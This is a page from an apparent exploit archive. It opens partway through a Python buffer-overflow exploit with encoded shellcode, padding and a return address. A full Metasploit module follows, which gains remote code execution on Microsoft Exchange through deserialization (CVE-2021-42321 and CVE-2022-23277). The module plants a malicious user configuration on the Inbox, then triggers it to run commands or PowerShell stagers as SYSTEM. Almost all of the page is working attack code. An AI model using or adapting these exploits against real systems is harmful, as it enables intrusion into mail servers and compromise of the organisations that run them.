/>payload += b"\x6e\x6b\x45\x51\x38\x50\x6e\x69\x52\x64\x51\x34"<br />payload += b"\x37\x54\x33\x6b\x31\x4b\x61\x71\x33\x69\x51\x4a"<br />payload += b"\x62\x71\x49\x6f\x6b\x50\x31\x4f\x73\x6f\x33\x6a"<br />payload += b"\x4c\x4b\x62\x32\x5a\x4b\x4e\x6d\x31\x4d\x63\x58"<br />payload += b"\x55\x63\x55\x62\x43\x30\x73\x30\x73\x58\x33\x47"<br />payload += b"\x44\x33\x76\x52\x61\x4f\x46\x34\x51\x78\x42\x6c"<br />payload += b"\x34\x37\x54\x66\x57\x77\x79\x6f\x79\x45\x6e\x58"<br />payload += b"\x6c\x50\x47\x71\x75\x50\x43\x30\x77\x59\x38\x44"<br />payload += b"\x30\x54\x36\x30\x45\x38\x67\x59\x6b\x30\x70\x6b"<br />payload += b"\x43\x30\x79\x6f\x59\x45\x52\x70\x50\x50\x30\x50"<br />payload += b"\x42\x70\x33\x70\x56\x30\x61\x50\x72\x70\x53\x58"<br />payload += b"\x4a\x4a\x76\x6f\x79\x4f\x79\x70\x59\x6f\x79\x45"<br />payload += b"\x6d\x47\x32\x4a\x47\x75\x63\x58\x69\x50\x69\x38"<br />payload += b"\x34\x71\x33\x61\x65\x38\x74\x42\x45\x50\x75\x51"<br />payload += b"\x6f\x4b\x4e\x69\x38\x66\x31\x7a\x34\x50\x46\x36"<br />payload += b"\x31\x47\x32\x48\x6d\x49\x49\x35\x51\x64\x45\x31"<br />payload += b"\x79\x6f\x69\x45\x4d\x55\x4b\x70\x53\x44\x56\x6c"<br />payload += b"\x49\x6f\x72\x6e\x46\x68\x64\x35\x78\x6c\x71\x78"<br />payload += b"\x38\x70\x6d\x65\x79\x32\x42\x76\x49\x6f\x68\x55"<br />payload += b"\x63\x58\x52\x43\x30\x6d\x75\x34\x33\x30\x6c\x49"<br />payload += b"\x6a\x43\x63\x67\x52\x77\x33\x67\x50\x31\x79\x66"<br />payload += b"\x30\x6a\x62\x32\x53\x69\x76\x36\x59\x72\x4b\x4d"<br />payload += b"\x65\x36\x6b\x77\x43\x74\x46\x44\x37\x4c\x47\x71"<br />payload += b"\x56\x61\x4e\x6d\x73\x74\x77\x54\x66\x70\x4a\x66"<br />payload += b"\x33\x30\x43\x74\x30\x54\x70\x50\x51\x46\x76\x36"<br />payload += b"\x36\x36\x51\x56\x30\x56\x30\x4e\x72\x76\x62\x76"<br />payload += b"\x56\x33\x56\x36\x62\x48\x63\x49\x6a\x6c\x75\x6f"<br />payload += b"\x4f\x76\x59\x6f\x49\x45\x4d\x59\x6d\x30\x52\x6e"<br />payload += b"\x70\x56\x61\x56\x59\x6f\x44\x70\x35\x38\x53\x38"<br />payload += b"\x6c\x47\x55\x4d\x61\x70\x6b\x4f\x79\x45\x4d\x6b"<br />payload += b"\x7a\x50\x48\x35\x4d\x72\x43\x66\x50\x68\x6c\x66"<br />payload += b"\x7a\x35\x4d\x6d\x6f\x6d\x59\x6f\x4b\x65\x65\x6c"<br />payload += b"\x46\x66\x63\x4c\x55\x5a\x6b\x30\x6b\x4b\x6d\x30"<br />payload += b"\x51\x65\x75\x55\x4f\x4b\x72\x67\x72\x33\x52\x52"<br />payload += b"\x72\x4f\x63\x5a\x35\x50\x61\x43\x79\x6f\x39\x45"<br />payload += b"\x41\x41"<br /><br />#buffer = "A"*100000<br />buffer = b"A"*207<br />buffer += b"\x90\x90\xeb\x04" # bp 0x61e4dab1; g<br />buffer += b"\xb1\xda\xe4\x61"<br />buffer += b"\x90"*2<br />buffer += payload<br /><br />with open("test.txt", 'wb') as out:<br /> out.write(buffer)<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'nokogiri'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::Powershell<br /> include Msf::Exploit::Remote::HTTP::Exchange<br /> include Msf::Exploit::Deprecated<br /> moved_from 'exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce'<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Microsoft Exchange Server ChainedSerializationBinder RCE',<br /> 'Description' => %q{<br /> This module exploits vulnerabilities within the ChainedSerializationBinder as used in<br /> Exchange Server 2019 CU10, Exchange Server 2019 CU11, Exchange Server 2016 CU21, and<br /> Exchange Server 2016 CU22 all prior to Mar22SU.<br /><br /> Note that authentication is required to exploit these vulnerabilities.<br /> },<br /> 'Author' => [<br /> 'pwnforsp', # Original Bug Discovery<br /> 'zcgonvh', # Of 360 noah lab, Original Bug Discovery<br /> 'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild<br /> 'Microsoft Security Response Center', # Discovery of exploitation in the wild<br /> 'peterjson', # Writeup<br /> 'testanull', # PoC Exploit<br /> 'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D<br /> 'Spencer McIntyre', # CVE-2022-23277 support and DataSet gadget chains<br /> 'Markus Wulftange' # CVE-2022-23277 research<br /> ],<br /> 'References' => [<br /> # CVE-2021-42321 references<br /> ['CVE', '2021-42321'],<br /> ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'],<br /> ['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'],<br /> ['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'],<br /> ['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'],<br /> ['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'],<br /> # CVE-2022-23277 references<br /> ['CVE', '2022-23277'],<br /> ['URL', 'https://codewhitesec.blogspot.com/2022/06/bypassing-dotnet-serialization-binders.html'],<br /> ['URL', 'https://testbnull.medium.com/note-nhanh-v%E1%BB%81-binaryformatter-binder-v%C3%A0-cve-2022-23277-6510d469604c']<br /> ],<br /> 'DisclosureDate' => '2021-12-09',<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => 'win',<br /> 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [<br /> 'Windows Command',<br /> {<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :win_cmd<br /> }<br /> ],<br /> [<br /> 'Windows Dropper',<br /> {<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :win_dropper,<br /> 'DefaultOptions' => {<br /> 'CMDSTAGER::FLAVOR' => :psh_invokewebrequest<br /> }<br /> }<br /> ],<br /> [<br /> 'PowerShell Stager',<br /> {<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :psh_stager<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'SSL' => true,<br /> 'HttpClientTimeout' => 5,<br /> 'WfsDelay' => 10<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [<br /> IOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169<br /> CONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger.<br /> ]<br /> }<br /> )<br /> )<br /> register_options([<br /> Opt::RPORT(443),<br /> OptString.new('TARGETURI', [true, 'Base path', '/']),<br /> OptString.new('HttpUsername', [true, 'The username to log into the Exchange server as']),<br /> OptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server'])<br /> ])<br /> end<br /><br /> def post_auth?<br /> true<br /> end<br /><br /> def username<br /> datastore['HttpUsername']<br /> end<br /><br /> def password<br /> datastore['HttpPassword']<br /> end<br /><br /> def cve_2021_42321_vuln_builds<br /> # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019<br /> [<br /> '15.1.2308.8', '15.1.2308.14', '15.1.2308.15', # Exchange Server 2016 CU21<br /> '15.1.2375.7', '15.1.2375.12', # Exchange Server 2016 CU22<br /> '15.2.922.7', '15.2.922.13', '15.2.922.14', # Exchange Server 2019 CU10<br /> '15.2.986.5', '15.2.986.9' # Exchange Server 2019 CU11<br /> ]<br /> end<br /><br /> def cve_2022_23277_vuln_builds<br /> # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019<br /> [<br /> '15.1.2308.20', # Exchange Server 2016 CU21 Nov21SU<br /> '15.1.2308.21', # Exchange Server 2016 CU21 Jan22SU<br /> '15.1.2375.17', # Exchange Server 2016 CU22 Nov21SU<br /> '15.1.2375.18', # Exchange Server 2016 CU22 Jan22SU<br /> '15.2.922.19', # Exchange Server 2019 CU10 Nov21SU<br /> '15.2.922.20', # Exchange Server 2019 CU10 Jan22SU<br /> '15.2.986.14', # Exchange Server 2019 CU11 Nov21SU<br /> '15.2.986.15' # Exchange Server 2019 CU11 Jan22SU<br /> ]<br /> end<br /><br /> def check<br /> # Note we are only checking official releases here to reduce requests when checking versions with exchange_get_version<br /> current_build_rex = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)<br /> if current_build_rex.nil?<br /> return CheckCode::Unknown("Couldn't retrieve the target Exchange Server version!")<br /> end<br /><br /> @exchange_build = current_build_rex.to_s<br /><br /> if cve_2021_42321_vuln_builds.include?(@exchange_build)<br /> CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2021-42321")<br /> elsif cve_2022_23277_vuln_builds.include?(@exchange_build)<br /> CheckCode::Appears("Exchange Server #{@exchange_build} is vulnerable to CVE-2022-23277")<br /> else<br /> CheckCode::Safe("Exchange Server #{@exchange_build} does not appear to be a vulnerable version!")<br /> end<br /> end<br /><br /> def exploit<br /> if @exchange_build.nil? # make sure the target build is known and if it's not (because the check was skipped), get it<br /> @exchange_build = exchange_get_version(exchange_builds: cve_2021_42321_vuln_builds + cve_2022_23277_vuln_builds)&.to_s<br /> if @exchange_build.nil?<br /> fail_with(Failure::Unknown, 'Failed to identify the target Exchange Server build version.')<br /> end<br /> end<br /><br /> if cve_2021_42321_vuln_builds.include?(@exchange_build)<br /> @gadget_chain = :ClaimsPrincipal<br /> elsif cve_2022_23277_vuln_builds.include?(@exchange_build)<br /> @gadget_chain = :DataSetTypeSpoof<br /> else<br /> fail_with(Failure::NotVulnerable, "Exchange Server #{@exchange_build} is not a vulnerable version!")<br /> end<br /><br /> case target['Type']<br /> when :win_cmd<br /> execute_command(payload.encoded)<br /> when :win_dropper<br /> execute_cmdstager<br /> when :psh_stager<br /> execute_command(cmd_psh_payload(<br /> payload.encoded,<br /> payload.arch.first,<br /> remove_comspec: true<br /> ))<br /> end<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> # Get the user's inbox folder's ID and change key ID.<br /> print_status("Getting the user's inbox folder's ID and ChangeKey ID...")<br /> xml_getfolder_inbox = %(<?xml version="1.0" encoding="utf-8"?><br /> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><br /> <soap:Header><br /> <t:RequestServerVersion Version="Exchange2013" /><br /> </soap:Header><br /> <soap:Body><br /> <m:GetFolder><br /> <m:FolderShape><br /> <t:BaseShape>AllProperties</t:BaseShape><br /> </m:FolderShape><br /> <m:FolderIds><br /> <t:DistinguishedFolderId Id="inbox" /><br /> </m:FolderIds><br /> </m:GetFolder><br /> </soap:Body><br /> </soap:Envelope>)<br /><br /> res = send_request_cgi(<br /> {<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),<br /> 'data' => xml_getfolder_inbox,<br /> 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.<br /> }<br /> )<br /> fail_with(Failure::Unreachable, 'Connection failed') if res.nil?<br /><br /> unless res&.body<br /> fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')<br /> end<br /><br /> if res.code == 401<br /> fail_with(Failure::NoAccess, "Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\#{username}")<br /> end<br /><br /> xml_getfolder = res.get_xml_document<br /> xml_getfolder.remove_namespaces!<br /> xml_tag = xml_getfolder.xpath('//FolderId')<br /> if xml_tag.empty?<br /> print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')<br /> fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')<br /> end<br /> unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')<br /> fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')<br /> end<br /> change_key_val = xml_tag.attribute('ChangeKey').value<br /> folder_id_val = xml_tag.attribute('Id').value<br /> print_good("ChangeKey value for Inbox folder is #{change_key_val}")<br /> print_good("ID value for Inbox folder is #{folder_id_val}")<br /><br /> # Delete the user configuration object that currently on the Inbox folder.<br /> print_status('Deleting the user configuration object associated with Inbox folder...')<br /> xml_delete_inbox_user_config = %(<?xml version="1.0" encoding="utf-8"?><br /> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><br /> <soap:Header><br /> <t:RequestServerVersion Version="Exchange2013" /><br /> </soap:Header><br /> <soap:Body><br /> <m:DeleteUserConfiguration><br /> <m:UserConfigurationName Name="ExtensionMasterTable"><br /> <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" /><br /> </m:UserConfigurationName><br /> </m:DeleteUserConfiguration><br /> </soap:Body><br /> </soap:Envelope>)<br /><br /> res = send_request_cgi(<br /> {<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),<br /> 'data' => xml_delete_inbox_user_config,<br /> 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.<br /> }<br /> )<br /> fail_with(Failure::Unreachable, 'Connection failed') if res.nil?<br /><br /> unless res&.body<br /> fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')<br /> end<br /><br /> if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}<br /> print_good('Successfully deleted the user configuration object associated with the Inbox folder!')<br /> else<br /> print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')<br /> print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')<br /> end<br /><br /> # Now to replace the deleted user configuration object with our own user configuration object.<br /> print_status('Creating the malicious user configuration object on the Inbox folder!')<br /><br /> xml_malicious_user_config = %(<?xml version="1.0" encoding="utf-8"?><br /> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><br /> <soap:Header><br /> <t:RequestServerVersion Version="Exchange2013" /><br /> </soap:Header><br /> <soap:Body><br /> <m:CreateUserConfiguration><br /> <m:UserConfiguration><br /> <t:UserConfigurationName Name="ExtensionMasterTable"><br /> <t:FolderId Id="#{folder_id_val}" ChangeKey="#{change_key_val}" /><br /> </t:UserConfigurationName><br /> <t:Dictionary><br /> <t:DictionaryEntry><br /> <t:DictionaryKey><br /> <t:Type>String</t:Type><br /> <t:Value>OrgChkTm</t:Value><br /> </t:DictionaryKey><br /> <t:DictionaryValue><br /> <t:Type>Integer64</t:Type><br /> <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value><br /> </t:DictionaryValue><br /> </t:DictionaryEntry><br /> <t:DictionaryEntry><br /> <t:DictionaryKey><br /> <t:Type>String</t:Type><br /> <t:Value>OrgDO</t:Value><br /> </t:DictionaryKey><br /> <t:DictionaryValue><br /> <t:Type>Boolean</t:Type><br /> <t:Value>false</t:Value><br /> </t:DictionaryValue><br /> </t:DictionaryEntry><br /> </t:Dictionary><br /> <t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData><br /> </m:UserConfiguration><br /> </m:CreateUserConfiguration><br /> </soap:Body><br /> </soap:Envelope>)<br /><br /> res = send_request_cgi(<br /> {<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),<br /> 'data' => xml_malicious_user_config,<br /> 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.<br /> }<br /> )<br /> fail_with(Failure::Unreachable, 'Connection failed') if res.nil?<br /><br /> unless res&.body<br /> fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')<br /> end<br /><br /> unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass="Success"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}<br /> fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')<br /> end<br /><br /> print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')<br /><br /> # Deserialize our object. If all goes well, you should now have SYSTEM :)<br /> print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')<br /> xml_get_client_access_token = %(<?xml version="1.0" encoding="utf-8"?><br /> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><br /> <soap:Header><br /> <t:RequestServerVersion Version="Exchange2013" /><br /> </soap:Header><br /> <soap:Body><br /> <m:GetClientAccessToken><br /> <m:TokenRequests><br /> <t:TokenRequest><br /> <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id><br /> <t:TokenType>CallerIdentity</t:TokenType><br /> </t:TokenRequest><br /> </m:TokenRequests><br /> </m:GetClientAccessToken><br /> </soap:Body><br /> </soap:Envelope>)<br /><br /> begin<br /> send_request_cgi(<br /> {<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),<br /> 'data' => xml_get_client_access_token,<br /> 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.<br /> }<br /> )<br /> rescue Errno::ECONNRESET<br /> # when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised<br /> end<br /> end<br />end<br /></code></pre>
Archives
Categories
- All Exploits 4095
- Remote Code Execution
- SQL Injection
- Command Injection
- Local File Inclusion
- Cross Site Scripting
- Privilege Escalation
- Denial Of Service
- Authentication Bypass
- Buffer Overflow